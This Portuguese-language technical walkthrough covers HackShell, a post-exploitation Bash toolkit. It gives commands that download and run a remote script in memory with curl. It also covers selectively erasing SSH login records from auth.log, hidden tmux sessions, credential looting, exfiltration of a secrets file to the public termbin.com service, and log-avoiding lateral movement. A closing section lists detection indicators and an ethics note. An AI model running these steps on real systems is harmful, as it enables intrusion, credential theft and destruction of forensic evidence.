NT-2026.10.06 DOSSIÊ RED TEAM
HACKSHELL: BASH FURTIVO PARA PENTEST — EVASÃO E ENUMERAÇÃO EM MEMÓRIA
Walkthrough técnico do HackShell: Bash furtivo para pentest que roda em memória — evasão forense com xhome/xlog/xtmux, enumeração com ws/lpe/hgrep/scan/loot, movimento lateral via xssh/xscp e exfiltração controlada com tb/shred.

Introdução: Bash como Ferramenta de Pentest Furtiva
A grande maioria da infraestrutura da internet roda Linux — servidores, ISPs, câmeras, roteadores, caixas eletrônicos, sistemas de controle industrial. Quando um atacante compromete um dispositivo Linux, ele inevitavelmente se depara com o Bash. O Bash já é poderoso por si só para administradores e hackers, mas o HackShell leva isso a outro nível: transforma o Bash em um ambiente furtivo projetado especificamente para pentest.
Desenvolvido pela The Hacker’s Choice (THC) e ativamente mantido, o HackShell carrega inteiramente em memória sem escrever a si mesmo em disco. Isso reduz drasticamente os artefatos forenses deixados no sistema alvo. Neste artigo, documentamos o walkthrough técnico publicado na fonte principal, cobrindo instalação, evasão forense, enumeração, escalação de privilégio, movimento lateral e exfiltração controlada.
Configuração: Carregando HackShell em Memória
Uma vez obtido um shell no alvo, o HackShell é carregado diretamente na memória via source com curl. Duas formas principais:
bash$ > source <(curl -SsfL https://thc.org/hs)
# ou
eval "$(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)"
Análise dos parâmetros:
-S: mostra erros (show errors)-s: modo silencioso (silent)-f: falha silenciosamente em erros HTTP (fail silently)-L: segue redirecionamentos (location)
O source <(...) executa o script baixado no shell atual, carregando as funções e aliases do HackShell. Ao carregar, ele realiza uma enumeração leve para identificar detalhes da máquina — no exemplo da fonte, detectou gs-netcat rodando como persistência.
Ambientes sem internet (air-gapped):
Se o host comprometido não tem acesso à internet, o conteúdo do HackShell pode ser copiado manualmente para /dev/shm (tmpfs, apenas memória). Para contornar problemas de compatibilidade em máquinas antigas:
bash$ > bash -c 'source <(curl -SsfL https://thc.org/hs); exec bash'
bash$ > source <(curl -SsfL https://thc.org/hs)
O exec bash substitui o shell atual pelo novo Bash com HackShell carregado, mantendo o processo vivo.

Capacidades: Menu de Ajuda (xhelp)
O comando xhelp lista todos os comandos built-in do HackShell. A filosofia central é stealth — a maioria dos comandos reduz a quantidade de evidências forenses deixadas para trás. Os comandos se organizam em categorias:
- Evasão:
xhome,xlog,xtmux - Enumeração e Privesc:
ws,lpe,hgrep,scan,loot,lootmore - Movimento Lateral e Exfiltração:
tb,shred,xssh,xscp
Cada comando será detalhado nas seções seguintes com sua sintaxe, finalidade e resultado demonstrado na fonte.

Evasão: xhome — Home Directory Temporário em Memória
O comando xhome define temporariamente o diretório home do usuário para um caminho aleatório sob /dev/shm (tmpfs — sistema de arquivos em memória).
bash$ > xhome
Comportamento:
- Afeta apenas a sessão atual do HackShell
- Não modifica o ambiente para outros usuários
- Arquivos em
/dev/shmficam apenas na RAM e não persistem após reboot - Útil para armazenar ferramentas, scripts, logs ou dados sensíveis sem tocar o disco
Essa técnica evita deixar rastros no filesystem persistente (/home/user/, /root/), dificultando análise forense posterior.

Evasão: xlog — Limpeza Seletiva de Logs de Autenticação
Quando hackers conectam via SSH, eventos de login aparecem em /var/log/auth.log e outros logs. O xlog remove esses eventos seletivamente por IP de origem:
bash$ > xlog '1.2.3.4' /var/log/auth.log
Parâmetros:
'1.2.3.4': IP de origem a ser removido dos logs (entre aspas)/var/log/auth.log: arquivo de log alvo (padrão do sistema para autenticação SSH)
Isso permite apagar apenas as próprias conexões, mantendo logs de outros usuários — menos suspeito que apagar o arquivo inteiro. A fonte não incluiu screenshot técnico para este comando.
Evasão: xtmux — Sessão Tmux Invisível para Persistência
O tmux é usado por administradores para tarefas de longa duração, mantendo sessões vivas após desconexão. Em casos forenses, observou-se hackers usando dd dentro de sessões tmux para apagar armazenamento continuamente — mesmo se a rede cair, o wiping continua.
O HackShell fornece:
bash$ > xtmux
Este comando lança uma sessão tmux invisível. Diferente de uma sessão tmux normal, ela não aparece em tmux list-sessions para outros usuários, reduzindo a chance de detecção por administradores ou ferramentas de monitoramento. A fonte não incluiu screenshot técnico para este comando.
Enumeração: ws — Visão Detalhada do Ambiente (WhatServer)
O comando ws (WhatServer) fornece uma visão abrangente do ambiente, essencial para reconhecimento pós-exploração:
bash$ > ws
Informações exibidas:
- Storage (discos, partições, uso)
- Processos ativos
- Usuários logados
- Sockets abertos
- Portas listening
- E mais detalhes do sistema
Um único comando substitui múltiplas ferramentas tradicionais (df, ps, who, ss, netstat), economizando tempo e reduzindo comandos executados (menos ruído em logs de auditoria).

Enumeração e Privesc: lpe — LinPEAS em Memória
O LinPEAS (Linux Privilege Escalation Awesome Script) é amplamente usado por pentesters para auditoria de escalação de privilégio. É frequentemente atualizado e cobre centenas de vetores.
O HackShell executa o LinPEAS diretamente em memória:
bash$ > lpe
Vantagens:
- Sem download de arquivo para disco
- Sem artefato de script salvo
- Execução transparente na sessão atual
- Funciona sob qualquer conta de usuário (não requer root)
No exemplo da fonte, o sistema já tinha root, por isso a saída foi extensa. Em cenários reais, o lpe sob usuário comum ainda identifica vetores viáveis (SUID, sudo misconfig, capabilities, cron jobs, etc.).


Enumeração: hgrep — Busca Rápida de Credenciais
Credenciais frequentemente ficam espalhadas em arquivos de configuração, scripts, variáveis de ambiente. O hgrep busca palavras-chave sensíveis:
bash$ > hgrep pass
Funcionamento:
- Varre arquivos conhecidos e configs por palavras-chave (
pass,pwd,secret,key,token,api) - Mais rápido e direcionado que
grep -rmanual - Resultados mostram arquivo e linha onde a palavra-chave foi encontrada
Acelera significativamente a fase de coleta de credenciais pós-exploração.

Enumeração: scan — Varredura de Portas com Saída Greppable
Para movimento lateral, é necessário descobrir hosts e portas abertas na rede interna. O scan do HackShell facilita isso:
bash$ > scan PORT IP
Características:
- Saída greppable (formato parseável por grep/awk)
- Permite varrer ranges de IPs e portas específicas
- Integra-se ao fluxo do HackShell sem ferramentas externas (nmap, masscan)
- Reduz dependência de binários adicionais no alvo
Útil para mapear rapidamente a superfície de ataque interna a partir do host comprometido.

Enumeração: loot e lootmore — Coleta Automatizada de Credenciais
O comando loot é uma das funcionalidades mais práticas: vasculha automaticamente configs e locais conhecidos em busca de credenciais armazenadas ou dados sensíveis.
bash$ > loot
Se os resultados forem incompletos, existe lootmore para busca mais profunda:
bash$ > lootmore
Limitações: não encontra tudo. Para casos mais complexos, a fonte recomenda o CredsHound (ferramenta separada para roubo de credenciais via LOLCreds). O loot cobre os casos mais comuns: navegadores, SSH keys, configs de banco, AWS credentials, etc.

Exfiltração Controlada: tb — Upload para termbin.com
O comando tb envia arquivos para o termbin.com (serviço de pastebin via netcat):
bash$ > tb secrets.txt
⚠️ Cuidado crítico: arquivos enviados tornam-se publicamente acessíveis. Em um pentest real, isso deve ser coordenado com o cliente e usado apenas quando estritamente necessário para testar a infraestrutura. Mau manuseio pode expor dados sensíveis na internet, violando o acordo de engajamento.
Após a exfiltração, sempre elimine a cópia local de forma segura.

Exfiltração: shred — Eliminação Segura de Arquivos Locais
Após extrair dados via tb, o arquivo local deve ser destruído de forma irrecuperável:
bash$ > shred secrets.txt
O shred sobrescreve o arquivo múltiplas vezes (padrão: 3 passagens) antes de removê-lo, impedindo recuperação forense via ferramentas de carving de disco. É prática obrigatória de OPSEC pós-exfiltração.

Movimento Lateral: xssh e xscp — SSH/SCP Furtivos
SSH e SCP padrão geram logs de nova sessão (/var/log/auth.log, sshd logs) que podem disparar alertas automáticos de resposta a incidentes. O HackShell fornece alternativas que minimizam exposição:
Conexão a outro host (xssh):
bash$ > xshh root@IP
Upload de arquivo para /tmp remoto (xscp):
bash$ > xscp file root@IP:/tmp
Download de arquivo do remoto para /tmp local:
bash$ > xscp root@IP:/root/secrets.txt /tmp
Diferenças chave vs SSH/SCP padrão:
- Não registram nova sessão de forma padrão nos logs de auditoria
- Usam canais existentes ou métodos alternativos de execução remota
- Destino
/tmpno alvo (tmpfs, volátil) evita persistência em disco - A fonte não incluiu screenshots técnicos para estes comandos
Considerações Finais: OPSEC, Detecção e Limitações
O HackShell demonstra como um ambiente Bash pode ser tornado significativamente mais furtivo para operações de pentest:
Vantagens operacionais:
- Zero disco: carrega em memória (
/dev/shm, source/curl), sem binário persistente - Evasão forense:
xhome(HOME em RAM),xlog(limpeza seletiva de auth.log),xtmux(sessão invisível) - Enumeração integrada:
ws,lpe,hgrep,scan,loot— tudo built-in - Movimento lateral silencioso:
xssh/xscpevitam logs de nova sessão SSH - Exfiltração controlada:
tb+shredpara extração e limpeza
Limitações e detecção:
- Requer shell inicial no alvo (não é vetor de exploração inicial)
curl/wgetpara carregamento pode ser detectado por EDR/network monitoring- Conexão a
thc.orgougithub.comé IOC de rede /dev/shmpode ser monitorado (tmpfs não é invisível)xlogmodifica arquivos de log — detectável por integridade de arquivos (AIDE, Tripwire)xtmuxainda cria processo tmux — visível emps/lsoftbexpõe dados publicamente — nunca usar em produção real sem autorização escritashredem SSD pode não ser eficaz (wear leveling);shred -n 1+rmé mais realista
Para defensores: estudar como o HackShell carrega (curl + source), os domínios que contacta (thc.org, github.com/hackerschoice), e os comandos built-in permite criar IOCs de rede e host (YARA, Sigma, EDR rules) para detectar seu uso.
Ética: uso restrito a laboratório autorizado, CTF, pentest contratado com escopo definido, ou pesquisa defensiva. Exfiltração via tb só com autorização explícita do cliente.